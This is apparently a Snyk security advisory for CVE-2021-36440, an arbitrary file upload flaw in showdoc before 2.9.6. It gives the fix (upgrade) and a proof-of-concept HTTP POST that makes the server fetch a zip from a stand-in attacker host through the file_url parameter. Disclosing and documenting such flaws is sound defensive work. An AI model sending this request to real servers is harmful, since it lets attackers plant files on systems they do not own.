Arbitrary File Upload Affecting showdoc/showdoc package, versions <2.9.6


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
1.2% (86th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary File Upload vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-SHOWDOCSHOWDOC-1583743
  • published9 Sept 2021
  • disclosed9 Sept 2021
  • creditPd1r of Chaitin Tech

Introduced: 9 Sep 2021

CVE-2021-36440  (opens in a new tab)
CWE-434  (opens in a new tab)

How to fix?

Upgrade showdoc/showdoc to version 2.9.6 or higher.

Overview

showdoc/showdoc is a tool for an IT team to share documents online.

Affected versions of this package are vulnerable to Arbitrary File Upload. It allows remote attackers to upload arbitrary files via the file_url parameter in the component AdminUpdateController.class.php.

PoC

POST /server/index.php?s=/api/adminUpdate/download HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

new_version=v123123&file_url=http://attackers:9092/poc.zip

CVSS Scores

version 3.1